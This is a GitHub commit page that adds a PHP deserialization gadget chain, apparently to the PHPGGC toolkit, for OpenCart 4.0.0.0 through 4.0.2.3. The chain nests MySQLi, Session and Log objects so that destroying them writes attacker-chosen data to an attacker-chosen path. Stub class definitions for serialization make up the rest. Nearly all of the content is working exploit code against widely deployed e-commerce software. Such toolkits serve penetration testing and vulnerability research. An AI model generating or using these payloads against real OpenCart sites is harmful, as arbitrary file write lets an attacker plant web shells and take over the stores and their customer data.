-
Notifications
You must be signed in to change notification settings - Fork 510
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
61 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,23 @@ | ||
<?php | ||
|
||
namespace GadgetChain\OpenCart; | ||
|
||
class FW1 extends \PHPGGC\GadgetChain\FileWrite | ||
{ | ||
public static $version = '4.0.0.0 <= 4.0.2.3+'; | ||
public static $vector = '__destruct'; | ||
public static $author = 'mcdruid'; | ||
|
||
public function generate(array $parameters) | ||
{ | ||
$path = $parameters['remote_path']; | ||
$data = $parameters['data']; | ||
|
||
return new \Opencart\System\Library\DB\MySQLi( | ||
new \Opencart\System\Library\Session( | ||
new \Opencart\System\Library\Log($path), | ||
$data | ||
) | ||
); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,38 @@ | ||
<?php | ||
|
||
namespace Opencart\System\Library\DB | ||
{ | ||
class MySQLi | ||
{ | ||
private object|null $connection; | ||
|
||
function __construct($connection) | ||
{ | ||
$this->connection = $connection; | ||
} | ||
} | ||
} | ||
|
||
namespace Opencart\System\Library | ||
{ | ||
class Session | ||
{ | ||
protected object $adaptor; | ||
protected string $session_id; | ||
|
||
public function __construct($adaptor, $session_id) | ||
{ | ||
$this->adaptor = $adaptor; | ||
$this->session_id = $session_id; | ||
} | ||
} | ||
|
||
class Log | ||
{ | ||
private string $file; | ||
|
||
public function __construct($file) { | ||
$this->file = $file; | ||
} | ||
} | ||
} |